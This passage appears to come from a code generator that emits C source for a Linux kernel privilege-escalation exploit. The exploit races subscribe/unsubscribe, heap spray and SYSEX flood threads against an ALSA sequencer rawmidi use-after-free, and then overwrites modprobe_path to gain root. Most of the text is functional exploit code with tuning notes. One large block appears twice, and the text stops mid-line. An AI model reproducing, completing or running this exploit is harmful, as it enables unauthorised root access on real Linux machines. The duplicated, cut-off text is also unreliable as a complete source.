means the flood never drove event_process_midi -> dump_midi ->", " snd_rawmidi_kernel_write1, so the freed runtime was never written through (no", " KASAN UAF, no arb-write) regardless of everything downstream. */", "/* CPU topology. Manual default: the free + reclaim spray share one CPU (so", " the freed slot is reclaimed from that CPU's per-CPU freelist); the flood", " runs on another CPU. 0SEC_RACE_SAME_CPU=1 collapses everything onto the", " free CPU. g_cpu_free is declared in the preamble (osec_reclaim_spray()", " pins to it too, so free + spray stay genuinely co-resident); the driver", " sets both from the resolved topology before spawning. g_cpu_flood is", " ALSA-specific (the flood thread is). */", `int g_cpu_flood = ${(params.pinCpu ?? 0) + 1}; /* flood/USE CPU (different by default) */`, "", "/* Discover the HARDWARE MIDI synth port to subscribe to. Self-subscription", " frees nothing; the real free path needs a subscription onto the card's", " synth port so unsubscribe drives midisynth_unuse -> snd_rawmidi_kernel_release", " -> snd_rawmidi_runtime_free. Walk every client (>1, skip System=0/1) and", " every port, taking the first that is STRICTLY a hardware-card port. The", " filter MUST be strict: a live in-guest probe showed the loose '(HARDWARE ||", " MIDI_GENERIC)' test matched the software 'Midi Through' loopback (14:0,", " type=0xa0002, no HARDWARE bit) BEFORE the real MTPAV card (16:0,", " type=0x90002, HARDWARE bit set) \u2014 and the loopback port has NO backing", " snd_rawmidi_runtime, so its teardown frees nothing and no UAF fires. Require", " the strict SNDRV_SEQ_PORT_TYPE_HARDWARE bit AND both CAP_WRITE and", " CAP_SUBS_WRITE (mirroring the manual proof) so we target the real card whose", " port has a runtime. Returns 0 on success, sets g_hw/g_have_hw. */", "static int osec_seq_find_hw_port(void) {", " struct snd_seq_client_info ci; memset(&ci, 0, sizeof(ci));", " ci.client = -1; /* QUERY_NEXT_CLIENT returns the first client > ci.client */", " while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT, &ci) >= 0) {", " if (ci.client <= 1) continue; /* skip System (0) and the timer (1) */", " struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", " pi.addr.client = (unsigned char)ci.client;", " pi.addr.port = (unsigned char)-1; /* first port > -1 on this client */", " while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT, &pi) >= 0) {", " /* STRICT: the real hardware-card synth bit only \u2014 NOT MIDI_GENERIC,", " which the software loopback also sets (and which has no runtime). */", " int is_hw = (pi.type & SNDRV_SEQ_PORT_TYPE_HARDWARE) != 0;", " /* Mirror the manual proof: the port must accept a write subscription", " (CAP_SUBS_WRITE) AND be writable (CAP_WRITE). */", " int writable = (pi.capability & SNDRV_SEQ_PORT_CAP_WRITE) &&", " (pi.capability & SNDRV_SEQ_PORT_CAP_SUBS_WRITE);", " if (is_hw && writable) {", " g_hw = pi.addr; g_have_hw = 1;", " return 0;", " }", " }", " }", " return -1; /* HONEST GAP: no hardware synth port found on this guest */", "}", "", "/* Build the topology whose teardown frees the runtime: our own port plus a", " discovered hardware synth port to subscribe TO. */", "static int osec_seq_setup(void) {", ' g_seq_fd = open("/dev/snd/seq", O_RDWR);', " if (g_seq_fd < 0) return -1;", " /* Query our OWN client id. snd_seq_ioctl_create_port rejects (EPERM) any", " port whose addr.client != the calling client, so this MUST be set on pi", " before CREATE_PORT \u2014 an in-guest A/B test proved the unset (0) addr.client", " was the EPERM cause; setting it to cid makes CREATE_PORT return rc=0. */", " int cid = 0;", " if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CLIENT_ID, &cid) < 0) return -1;", " struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", " pi.addr.client = (unsigned char)cid; /* THE EPERM FIX: was unset (0) */", " pi.capability = SNDRV_SEQ_PORT_CAP_READ | SNDRV_SEQ_PORT_CAP_SUBS_READ", " | SNDRV_SEQ_PORT_CAP_WRITE | SNDRV_SEQ_PORT_CAP_SUBS_WRITE;", " pi.type = SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC | SNDRV_SEQ_PORT_TYPE_APPLICATION;", " pi.midi_channels = 16;", " if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CREATE_PORT, &pi) < 0) return -1;", " g_self.client = (unsigned char)cid; g_self.port = pi.addr.port;", " /* Find the card's hardware MIDI synth port \u2014 the subscription onto THIS", " port (not self) is what frees the snd_rawmidi_runtime on teardown. */", " if (osec_seq_find_hw_port() != 0) return -1;", " /* BUG#2 FIX: dedicated toggle fd (separate from the flood writer fd) so the", " unsubscribe actually drives midisynth_unuse -> snd_rawmidi_runtime_free.", " The manual proof opens a 2nd /dev/snd/seq for the toggle for exactly this:", " running subscribe/unsubscribe on the SAME fd as the SYSEX flood writer did", " not free the runtime the flood writes through (freed=0, no KASAN UAF). */", ' g_toggle_fd = open("/dev/snd/seq", O_RDWR);', " if (g_toggle_fd < 0) return -1;", " /* DO NOT open /dev/snd/midiC0D0 here. An in-guest A/B/C/D probe proved that", " holding the rawmidi OUTPUT substream open makes the seq SUBSCRIBE return", " EAGAIN (snd_rawmidi_kernel_open sees the substream already in use), so the", " subscription never opens the runtime => no alloc/free => no UAF. The manual", " proof never opens midiC0D0: the SUBSCRIBE itself opens the rawmidi", " internally (that IS the alloc the UAF rides), and the USE is driven by", " writing seq SYSEX events through g_seq_fd (event_process_midi ->", " snd_rawmidi_kernel_write1). g_rawmidi_fd stays -1 here. */", " return 0;", "}", "", "/* SUBSCRIBE then UNSUBSCRIBE on my_port -> discovered_hw_port: the unsubscribe", " drops the hw synth's subscriber count to 0 and frees the snd_rawmidi_runtime.", " sender (us) != dest (the hardware port) \u2014 self-subscription frees nothing.", " Looped to re-arm the race each round. */", "static int osec_seq_sub(int subscribe) {", " struct snd_seq_port_subscribe s; memset(&s, 0, sizeof(s));", " s.sender = g_self; s.dest = g_hw;", " /* BUG#2 FIX: toggle on g_toggle_fd (a dedicated 2nd /dev/snd/seq), NOT the", " g_seq_fd the flood writes through \u2014 only then does the unsubscribe free the", " runtime the flood uses (restores the KASAN slab-UAF, freed 0 -> >=1). */", " return ioctl(g_toggle_fd, subscribe ? SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT", " : SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT, &s);", "}", "", "/* CONTINUOUS TOGGLE/FREE thread: a tight while(running) loop doing", " subscribe(1)/unsubscribe(0) on the hw port. Single subscription => the", " count oscillates 0<->1 and EVERY unsubscribe frees the snd_rawmidi_runtime.", " This runs CONTINUOUSLY, re-arming the free each iteration (NOT one toggle", " per round) \u2014 that is what gives the parked writer a freshly-freed object to", " land on at the manual-proof rate. Pinned to g_cpu_free so the freed slot", " goes onto the SAME per-CPU freelist the reclaim spray pops from. */", "static void *osec_toggle_thread(void *arg) {", " osec_pin_cpu(g_cpu_free);", " while (g_race_run) {", " osec_seq_sub(1); /* subscriber 0->1 (allocates runtime) */", " osec_seq_sub(0); /* subscriber 1->0 => FREE the runtime */", " }", " return NULL;", "}", "", "/* CONTINUOUS RECLAIM spray thread: pinned to g_cpu_free (the SAME CPU as the", " toggle/free) so the freed kmalloc-192 slot is reclaimed off that CPU's", " freelist before the parked writer derefs it. osec_reclaim_spray() places", " the controlled bytes (buffer@0x10 = inlined modprobe_path, len, scratch) and", " re-pins to g_cpu_free itself; we run it in a tight loop. The manual proof", " used ~10 of these threads; 0SEC_RACE_SPRAY_THREADS sets the count. */", "static void *osec_spray_thread(void *arg) {", " osec_pin_cpu(g_cpu_free);", " while (g_race_run) {", " osec_reclaim_spray(); /* same-CPU reclaim of the just-freed slot */", " }", " return NULL;", "}", "", "/* WRITE/flood thread: write SEQ SYSEX events through g_seq_fd, addressed from", " our own port (g_self) to the SUBSCRIBERS of our port (the subscribed hardware", " synth) via DIRECT delivery. The kernel routes them snd_seq_write ->", " snd_seq_deliver_event -> event_process_midi -> dump_midi ->", " snd_rawmidi_kernel_write1, so a write lands on the just-freed (or just-", " reclaimed) runtime. SYSEX + LENGTH_VARIABLE is the verbatim-copy path: the", " payload bytes (F0 .. F7) are copied straight into runtime->buffer.", "", " INLINE PAYLOAD CONTRACT (this is what makes the flood reach write1): for a", " variable-length event written from userspace, snd_seq_write IGNORES", " ev.data.ext.ptr and instead reads ev.data.ext.len payload bytes from the fd", " IMMEDIATELY AFTER the 32-byte event. So we build one contiguous buffer", " [32-byte snd_seq_event][SYSEX payload] and write it in a single call:", " write(g_seq_fd, buf, sizeof(struct snd_seq_event) + payload_len). The old", " approach (ext.ptr = payload + write(&ev, sizeof(ev))) never delivered the", " payload \u2014 userspace write doesn't dereference ext.ptr \u2014 so write1 was hit 0", " times. dest.client = SUBSCRIBERS(254) + dest.port = g_self.port delivers to", " the subscribers of OUR port (i.e. the hw synth we subscribed), and queue =", " DIRECT(253) bypasses queueing so the event is dispatched inline now.", "", " We DO NOT write to a rawmidi fd directly \u2014 driving the USE through the SEQ", " event path is exactly what the manual proof does, and it leaves the rawmidi", " output substream free for the SUBSCRIBE to open (no EAGAIN). */", "/* TWO distinct flood payloads, mirroring the manual proof (seqmidi_uaf5/6.c).", " The flood thread uses EXACTLY ONE of them per boot depending on whether an", " escalation target was staged (see osec_flood_thread for the why):", "", " (1) ESCALATION payload \u2014 the short root-tail path string (e.g. /tmp/x\\0),", " staged by the driver from the root-tail plan. THIS is the write-what-", " where that overwrites modprobe_path; it is delivered VERBATIM (no F0/F7", " wrapper) so the exact path bytes land at the target. When staged", " (g_esc_len > 0) the flood sends ONLY this every iteration \u2014 the manual", " root proof's pure-ESC behaviour (g_escalate=1, ESC_LEN=7). Bench-measured:", " a 7-byte ESC flood trips KASAN ~62x/boot AND, being tiny, keeps the writer", " out of the fatal __dump_midi NULL-runtime window ~15x longer than the old", " 2048B-recon-dominant flood (~4 UAFs before GPF). So the short payload", " lands the UAF JUST FINE and survives \u2014 the large recon flood was both", " unnecessary and the cause of the ~2.5s GPF.", "", " (2) RECON payload \u2014 a LARGE SYSEX (the manual proof's SYSEX_LEN=2048 class).", " Used ONLY as a fallback when NO escalation target is staged (recon-only /", " no-vmlinux case), so the UAF still fires for diagnostics even with no", " write-what-where to deliver.", "", " 0SEC_RECON_SYSEX_LEN sizes the recon payload (default 2048, manual class).", " g_buf is sized to the recon payload (the larger of the two), so the short", " escalation memcpy can NEVER overflow it (fixes the -Wstringop-overflow the", " climb hit: 'memcpy writing 7 bytes into a region of size 0'). */", "#define OSEC_RECON_SYSEX_LEN_DEFAULT 2048", "static unsigned char g_recon_payload[OSEC_RECON_SYSEX_LEN_DEFAULT];", "static unsigned long g_recon_len = 0;", "static unsigned char g_esc_payload[256]; /* short root-tail path bytes, verbatim */", "static unsigned long g_esc_len = 0; /* 0 until the driver stages the tail */", "/* CONTINUOUS FLOOD thread: a tight while(running) loop that CONTINUOUSLY", " writes the SYSEX seq events driving snd_rawmidi_kernel_write1.", "", " FLOOD-SURVIVAL FIX (bench-measured, 2026-06-26). The free->use window where", " __dump_midi reads substream->runtime is fatal in two sub-windows: the", " dangling-but-non-NULL window (a RECOVERABLE KASAN use-after-free read, which", " kasan_multi_shot tolerates) and the post-free NULL window (a HARD", " __dump_midi+0x57 GPF: `mov 0x70(%rbp),%rbx; lea 0x38(%rbx)` with rbx==NULL", " faults on the non-canonical KASAN shadow and KILLS the exploit process). A", " single boot cannot avoid the NULL window entirely; SURVIVAL is a function of", " how MANY recoverable UAF reads the flood lands before it drifts into the", " fatal one. The manual proof (seqmidi_uaf6 flood_sysex) sustains ~62 UAFs", " over ~12s before the GPF; the OLD engine body \u2014 which flooded the LARGE 2048B", " recon SYSEX on 7 of every 8 writes \u2014 drifted into the NULL window after only", " ~4 UAFs / ~2.5s, because each 2080B write spends far longer in the kernel", " write path (so the writer is exposed to the NULL window far more per write,", " AND does a 2048B verbatim memcpy into the freed/reclaimed runtime->buffer", " that itself amplifies fatal landings). The manual's escalation-mode flood is", " PURE SHORT payload (ESC_LEN==7) and still trips KASAN ~62x \u2014 the large recon", " flood is NEITHER needed to fire the UAF NOR survivable.", "", " So: when an escalation payload is staged (g_esc_len > 0) flood ONLY the short", " ESC payload every iteration (the modprobe_path write-what-where, exactly the", " manual root proof's g_escalate=1 behaviour) \u2014 small writes => high iteration", " rate => many recoverable UAF reads before the fatal window, AND every write", " is the escalation write so a won reclaim lands /tmp/x. Only when NO esc", " payload is staged (recon-only / no-target case) fall back to the large recon", " SYSEX so the UAF still fires for diagnostics. The kprobe mdelay (when the", " target has it) still parks the writer in the dangling window. Pinned to", " g_cpu_flood (a different CPU from free+spray under the manual topology; same", " CPU if 0SEC_RACE_SAME_CPU=1). */", "static void *osec_flood_thread(void *arg) {", " osec_pin_cpu(g_cpu_flood);", " /* One contiguous buffer: the 32-byte event header followed by the inline", " SYSEX payload the write site copies verbatim into runtime->buffer. Sized to", " the recon payload (the larger of recon/esc) so neither memcpy overflows. */", " unsigned char buf[sizeof(struct snd_seq_event) + sizeof(g_recon_payload)];", " struct snd_seq_event *ev = (struct snd_seq_event *)buf;", " /* The event header is INVARIANT across iterations (only the payload + len", " change), so build it ONCE outside the hot loop \u2014 the manual flood rebuilds", " it each call, but hoisting it shaves per-write work and keeps the writer's", " kernel-path residency (its exposure to the fatal NULL window) minimal. */", " memset(ev, 0, sizeof(*ev));", " ev->type = SNDRV_SEQ_EVENT_SYSEX; /* 130: variable-length sysex */", " /* LENGTH_VARIABLE selects the verbatim-copy path; PRIORITY_NORMAL mirrors", " the manual proof's ev.flags (it ORs SNDRV_SEQ_PRIORITY_NORMAL too). */", " ev->flags = SNDRV_SEQ_EVENT_LENGTH_VARIABLE | SNDRV_SEQ_PRIORITY_NORMAL;", " ev->queue = SNDRV_SEQ_QUEUE_DIRECT; /* 253: deliver now, no queue */", " ev->source = g_self; /* from our own application port */", " ev->dest.client = SNDRV_SEQ_ADDRESS_SUBSCRIBERS; /* 254: to our subscribers */", " ev->dest.port = g_self.port; /* subscribers of OUR port = subscribed hw */", " while (g_race_run) {", " /* SURVIVAL: escalating => flood the SHORT esc payload EVERY iteration (the", " manual's pure-ESC flood, ~62 UAFs/boot). Only with no esc target staged", " fall back to the large recon SYSEX so the UAF still fires for diagnostics.", " Both are bounded by sizeof(g_recon_payload) so buf cannot overflow. */", " int do_esc = (g_esc_len > 0);", " const unsigned char *src = do_esc ? g_esc_payload : g_recon_payload;", " unsigned long plen = do_esc", " ? g_esc_len", " : (g_recon_len ? g_recon_len : sizeof(g_recon_payload));", " if (plen > sizeof(g_recon_payload)) plen = sizeof(g_recon_payload);", " ev->data.ext.len = (unsigned int)plen; /* ext.ptr unused by userspace write */", " /* Copy the SYSEX payload INLINE right after the 32-byte event header. */", " memcpy(buf + sizeof(*ev), src, plen);", " /* snd_seq_write reads the 32-byte event, then plen payload bytes inline,", " and dump_midi feeds them verbatim to snd_rawmidi_kernel_write1. Count", " only events the kernel actually accepted (n_write_ok) \u2014 the diagnostic", " that distinguishes 'race mis-timed, write1 never reached' from a real", " free->use landing. */", " if (g_seq_fd >= 0 && write(g_seq_fd, buf, sizeof(*ev) + plen) > 0)", " __sync_fetch_and_add(&g_n_write_ok, 1);", " }", " return NULL;", "}", "", ...emitKprobeWidener(params.faultingPc, params.widenOffset));
558
+ out.push("/* \u2500\u2500 Bug-specific trigger geometry: ALSA snd_seq / rawmidi UAF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500", " Single ALSA-seq subscription \u2192 subscriber count oscillates 0<->1, so", " every OUTPUT-port unsubscribe FREES the snd_rawmidi_runtime (kmalloc-" + (slabNum(params.slabCache) ?? 192) + ") via", " midisynth_unuse -> snd_rawmidi_kernel_release -> snd_rawmidi_runtime_free.", " Racing an event flood (snd_seq_write -> event_process_midi ->", " snd_rawmidi_kernel_write1) against the free drives the dangling memcpy" + (dst !== void 0 ? ` at runtime->buffer (obj +0x${dst.toString(16)})` : "") + (len !== void 0 ? ` for len obj +0x${len.toString(16)}` : "") + ". */", "", "#include <poll.h>", "#include <pthread.h>", "#include <signal.h>", "#include <sys/ioctl.h>", "", "/* Parse a ZERO_RACE_* env knob as an int, falling back to a default. Lets", " the rig sweep the continuous-thread race timings without re-emitting. */", "static int osec_race_envint(const char *name, int dflt) {", " const char *v = getenv(name);", " if (!v || !v[0]) return dflt;", " char *end = NULL;", " long n = strtol(v, &end, 0);", " if (!end || end == v) return dflt;", " return (int)n;", "}", "", "/* Forward declarations \u2014 osec_spray_thread() (below) calls osec_reclaim_spray(),", " whose definition is emitted LATER in the translation unit (the reclaim helper", " block). Without this prototype the emitted C fails to compile (use-before-def /", " 'static declaration follows non-static declaration'). osec_pin_cpu() is defined", " in the marker preamble (above) so it needs none. */", "static void osec_reclaim_spray(void);", "", "/* ALSA sequencer uapi \u2014 REAL layouts from include/uapi/sound/asequencer.h.", " The struct SIZES are load-bearing: _IOWR/_IOW/_IOR encode sizeof(struct)", " into the ioctl number, so a wrong size yields a wrong ioctl => -ENOTTY and", " the kernel never runs the handler (the live boot's 'reaches DROP but ZERO", " KASAN' symptom). The struct sizes below are the REAL uapi sizes, audited", " by compilation against include/uapi/sound/asequencer.h:", " snd_seq_addr == 2 bytes", " snd_seq_port_info == 168 bytes", " snd_seq_port_subscribe == 80 bytes (was wrongly 32 \u2014 see below)", " snd_seq_client_info == 188 bytes", " snd_seq_event == 32 bytes (was wrongly 28 \u2014 16-byte data union)", " so that the _IOC-encoded ioctl numbers come out byte-for-byte equal to the", " kernel's:", " SNDRV_SEQ_IOCTL_CLIENT_ID == 0x80045301", " SNDRV_SEQ_IOCTL_CREATE_PORT == 0xc0a85320", " SNDRV_SEQ_IOCTL_DELETE_PORT == 0x40a85321", " SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT == 0x40505330", " SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT == 0x40505331", " SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT == 0xc0bc5351", " SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT == 0xc0a85352", " Two live in-guest probes drove these fixes: the old 92-byte port_info", " yielded the wrong CREATE_PORT number => -ENOTTY before the UAF could run;", " and the old 32-byte port_subscribe yielded SUBSCRIBE_PORT == 0x40205330", " (kernel expects 0x40505330) => -ENOTTY on SUBSCRIBE, so the runtime was", " never freed and NO UAF fired. Both real uapi sizes (168 / 80) are below. */", "struct snd_seq_addr { unsigned char client; unsigned char port; };", "struct snd_seq_port_info { /* 168 bytes \u2014 real uapi layout */", " struct snd_seq_addr addr; /* 0: client/port */", " char name[64]; /* 2 */", " unsigned int capability; /* 68: SNDRV_SEQ_PORT_CAP_* bitmask */", " unsigned int type; /* 72: SNDRV_SEQ_PORT_TYPE_* bitmask */", " int midi_channels; /* 76 */", " int midi_voices; /* 80 */", " int synth_voices; /* 84 */", " int read_use; /* 88 */", " int write_use; /* 92 */", " void *kernel; /* 96: 8-byte aligned kernel ptr */", " unsigned int flags; /* 104 */", " unsigned char time_queue; /* 108 */", " unsigned char direction; /* 109 */", " unsigned char ump_group; /* 110 */", " char reserved[57]; /* 111: pad to exactly 168 */", "};", "struct snd_seq_port_subscribe { /* 80 bytes \u2014 real uapi layout */", " struct snd_seq_addr sender; /* 0: source port */", " struct snd_seq_addr dest; /* 2: destination port */", " unsigned int voices; /* 4 */", " unsigned int flags; /* 8 */", " unsigned char queue; /* 12 */", " unsigned char pad[3]; /* 13 */", " unsigned char reserved[64]; /* 16: ends at exactly 80 */", "};", "/* snd_seq_client_info \u2014 only `client` is read; full 188B size keeps the", " QUERY_NEXT_CLIENT ioctl number (0xc0bc5351) correct. */", "struct snd_seq_client_info { /* 188 bytes */", " int client; /* 0 */", " int type; /* 4 */", " char name[64]; /* 8 */", " unsigned int filter; /* 72 */", " unsigned char multicast_filter[8]; /* 76 */", " unsigned char event_filter[32]; /* 84 */", " int num_ports; /* 116 */", " int event_lost; /* 120 */", " int card; /* 124 */", " int pid; /* 128 */", " unsigned int midi_version; /* 132 */", " unsigned int group_filter; /* 136 */", " char reserved[48]; /* 140: ends at 188 */", "};", "/* Compile-time static asserts: a wrong size silently re-breaks the ABI. */", "_Static_assert(sizeof(struct snd_seq_port_info) == 168,", ' "snd_seq_port_info must be 168 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_port_subscribe) == 80,", ' "snd_seq_port_subscribe must be 80 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_addr) == 2,", ' "snd_seq_addr must be 2 bytes");', "_Static_assert(sizeof(struct snd_seq_client_info) == 188,", ' "snd_seq_client_info must be 188 bytes for the correct ioctl nr");', "", "/* ioctl numbers \u2014 computed from the REAL struct sizes via the standard", " macros, so they come out byte-for-byte equal to the kernel's. */", "#define SNDRV_SEQ_IOCTL_CLIENT_ID _IOR ('S', 0x01, int)", "#define SNDRV_SEQ_IOCTL_CREATE_PORT _IOWR('S', 0x20, struct snd_seq_port_info)", "#define SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT _IOW ('S', 0x30, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT _IOW ('S', 0x31, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT _IOWR('S', 0x51, struct snd_seq_client_info)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT _IOWR('S', 0x52, struct snd_seq_port_info)", "", "/* Port type/capability bits (asequencer.h). */", "#define SNDRV_SEQ_PORT_CAP_READ (1<<0) /* 0x01 */", "#define SNDRV_SEQ_PORT_CAP_WRITE (1<<1) /* 0x02 */", "#define SNDRV_SEQ_PORT_CAP_SUBS_READ (1<<5) /* 0x20: can be a subscribe src */", "#define SNDRV_SEQ_PORT_CAP_SUBS_WRITE (1<<6) /* 0x40: can be a subscribe dest */", "#define SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC (1<<1) /* 0x02 */", "#define SNDRV_SEQ_PORT_TYPE_APPLICATION (1<<20)/* 0x100000: an app's own port */", "#define SNDRV_SEQ_PORT_TYPE_HARDWARE (1<<16) /* 0x10000: real card port */", "", "/* snd_seq_event \u2014 the REAL 32-byte wire layout from asequencer.h. The flood", " thread writes these to /dev/snd/seq so the kernel routes them through", " snd_seq_write -> snd_seq_deliver_event -> event_process_midi -> dump_midi ->", " snd_rawmidi_kernel_write1 (the dangling write site). The variable-length", " protocol: when ev.flags has LENGTH_VARIABLE, snd_seq_write reads the 32-byte", " event header off the fd, then reads ev.data.ext.len payload bytes INLINE", " immediately AFTER the event (userspace write ignores ext.ptr) \u2014 that payload", " is what dump_midi feeds VERBATIM into runtime->buffer. Getting sizeof()==32", " is load-bearing twice over: snd_seq_write reads events in", " sizeof(struct snd_seq_event) strides, AND a wrong size shifts where the inline", " payload begins, so a 28-byte struct desyncs the stream and the SYSEX event is", " never parsed (the live-boot 'reaches write1 0 times' symptom). The data union", " is 16 bytes because its largest member, snd_seq_ev_ext { u32 len; void *ptr; },", " is 16 bytes on x86-64 under NATURAL alignment: len(4) + 4 pad + 8-aligned", " ptr(8). It must NOT be packed \u2014 packing it to 12 would shrink the event to 28", " and re-break the ABI. */", "struct snd_seq_ev_ext { unsigned int len; void *ptr; }; /* 16 bytes: len(4)+pad(4)+ptr(8), NATURAL alignment (not packed) */", "union snd_seq_event_data { /* 16-byte data union (largest = ext) */", " unsigned char raw8[16];", " unsigned int raw32[4];", " struct snd_seq_ev_ext ext; /* variable-length: len + ptr (16 bytes) */", "};", "struct snd_seq_event { /* 32 bytes \u2014 real uapi layout */", " unsigned char type; /* 0: SNDRV_SEQ_EVENT_* */", " unsigned char flags; /* 1: LENGTH_* | etc. */", " unsigned char tag; /* 2 */", " unsigned char queue; /* 3: SNDRV_SEQ_QUEUE_DIRECT etc. */", " unsigned int time; /* 4: union snd_seq_timestamp tick/real (8) */", " unsigned int time_hi; /* 8: second word of the time union */", " struct snd_seq_addr source; /* 12: 2 bytes */", " struct snd_seq_addr dest; /* 14: 2 bytes */", " union snd_seq_event_data data; /* 16: 16-byte data union -> ends at 32 */", "};", "_Static_assert(sizeof(struct snd_seq_event) == 32,", ' "snd_seq_event must be 32 bytes for snd_seq_write event striding");', "", "/* Event types + flags + addressing (asequencer.h). SYSEX is the verbatim-copy", " path; SUBSCRIBERS+DIRECT route the event to our port's subscribers (the", " subscribed hardware port) so it reaches snd_rawmidi_kernel_write1. */", "#define SNDRV_SEQ_EVENT_SYSEX 130 /* variable-length system-exclusive */", "#define SNDRV_SEQ_EVENT_LENGTH_VARIABLE (1<<2) /* data is ext.len bytes, inline */", "#define SNDRV_SEQ_PRIORITY_NORMAL (0<<4) /* manual proof ORs this into flags */", "#define SNDRV_SEQ_ADDRESS_SUBSCRIBERS 254 /* dest.client: deliver to subscribers */", "#define SNDRV_SEQ_QUEUE_DIRECT 253 /* ev.queue: bypass queue, deliver now */", "", "/* Shared race state across the CONTINUOUS flood / toggle / spray threads.", " The manual proof (measured ~0.45% free-during-park x ~1% reclaim-win =>", " ~1.6% end-to-end, ~1-in-6..8 boots) wins the coincidence ONLY because all", " three roles run as tight while(running) loops simultaneously \u2014 NOT a bursty", " 512-iteration flood + one toggle per round. So: continuous SYSEX-flood", " thread(s) keep snd_rawmidi_kernel_write1 hot (and parked by the kprobe", " mdelay); a continuous subscribe(1)/unsubscribe(0) toggle thread re-arms the", " free every iteration; and continuous msgsnd-2ndseg spray thread(s) pinned to", " the SAME CPU as the free pop the just-freed kmalloc-192 slot off that CPU's", " freelist before the parked writer derefs it. There is NO per-round arming", " handshake anymore \u2014 the loops run free and the coincidence lands", " probabilistically, exactly as the manual proof does. */", "static int g_seq_fd = -1;", "static int g_toggle_fd = -1; /* BUG#2 FIX: dedicated fd for subscribe/unsubscribe (manual proof uses a 2nd open) */", "static int g_rawmidi_fd = -1;", "static struct snd_seq_addr g_self;", "static struct snd_seq_addr g_hw; /* discovered hardware MIDI synth port */", "static int g_have_hw = 0; /* set iff osec_seq_find_hw_port() won */", "static volatile int g_race_run = 0; /* 1 while the threads loop; 0 to stop */", "/* g_n_write_ok / g_n_spray are declared in the marker preamble (always present)", " so the spray helper can increment them on every path. n_write_ok counts SYSEX", " events that actually reached the kernel write path \u2014 the load-bearing", " diagnostic: 0 means the flood never drove event_process_midi -> dump_midi ->", " snd_rawmidi_kernel_write1, so the freed runtime was never written through (no", " KASAN UAF, no arb-write) regardless of everything downstream. */", "/* CPU topology. Manual default: the free + reclaim spray share one CPU (so", " the freed slot is reclaimed from that CPU's per-CPU freelist); the flood", " runs on another CPU. ZERO_RACE_SAME_CPU=1 collapses everything onto the", " free CPU. g_cpu_free is declared in the preamble (osec_reclaim_spray()", " pins to it too, so free + spray stay genuinely co-resident); the driver", " sets both from the resolved topology before spawning. g_cpu_flood is", " ALSA-specific (the flood thread is). */", `int g_cpu_flood = ${(params.pinCpu ?? 0) + 1}; /* flood/USE CPU (different by default) */`, "", "/* Discover the HARDWARE MIDI synth port to subscribe to. Self-subscription", " frees nothing; the real free path needs a subscription onto the card's", " synth port so unsubscribe drives midisynth_unuse -> snd_rawmidi_kernel_release", " -> snd_rawmidi_runtime_free. Walk every client (>1, skip System=0/1) and", " every port, taking the first that is STRICTLY a hardware-card port. The", " filter MUST be strict: a live in-guest probe showed the loose '(HARDWARE ||", " MIDI_GENERIC)' test matched the software 'Midi Through' loopback (14:0,", " type=0xa0002, no HARDWARE bit) BEFORE the real MTPAV card (16:0,", " type=0x90002, HARDWARE bit set) \u2014 and the loopback port has NO backing", " snd_rawmidi_runtime, so its teardown frees nothing and no UAF fires. Require", " the strict SNDRV_SEQ_PORT_TYPE_HARDWARE bit AND both CAP_WRITE and", " CAP_SUBS_WRITE (mirroring the manual proof) so we target the real card whose", " port has a runtime. Returns 0 on success, sets g_hw/g_have_hw. */", "static int osec_seq_find_hw_port(void) {", " struct snd_seq_client_info ci; memset(&ci, 0, sizeof(ci));", " ci.client = -1; /* QUERY_NEXT_CLIENT returns the first client > ci.client */", " while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT, &ci) >= 0) {", " if (ci.client <= 1) continue; /* skip System (0) and the timer (1) */", " struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", " pi.addr.client = (unsigned char)ci.client;", " pi.addr.port = (unsigned char)-1; /* first port > -1 on this client */", " while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT, &pi) >= 0) {", " /* STRICT: the real hardware-card synth bit only \u2014 NOT MIDI_GENERIC,", " which the software loopback also sets (and which has no runtime). */", " int is_hw = (pi.type & SNDRV_SEQ_PORT_TYPE_HARDWARE) != 0;", " /* Mirror the manual proof: the port must accept a write subscription", " (CAP_SUBS_WRITE) AND be writable (CAP_WRITE). */", " int writable = (pi.capability & SNDRV_SEQ_PORT_CAP_WRITE) &&", " (pi.capability & SNDRV_SEQ_PORT_CAP_SUBS_WRITE);", " if (is_hw && writable) {", " g_hw = pi.addr; g_have_hw = 1;", " return 0;", " }", " }", " }", " return -1; /* HONEST GAP: no hardware synth port found on this guest */", "}", "", "/* Build the topology whose teardown frees the runtime: our own port plus a", " discovered hardware synth port to subscribe TO. */", "static int osec_seq_setup(void) {", ' g_seq_fd = open("/dev/snd/seq", O_RDWR);', " if (g_seq_fd < 0) return -1;", " /* Query our OWN client id. snd_seq_ioctl_create_port rejects (EPERM) any", " port whose addr.client != the calling client, so this MUST be set on pi", " before CREATE_PORT \u2014 an in-guest A/B test proved the unset (0) addr.client", " was the EPERM cause; setting it to cid makes CREATE_PORT return rc=0. */", " int cid = 0;", " if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CLIENT_ID, &cid) < 0) return -1;", " struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", " pi.addr.client = (unsigned char)cid; /* THE EPERM FIX: was unset (0) */", " 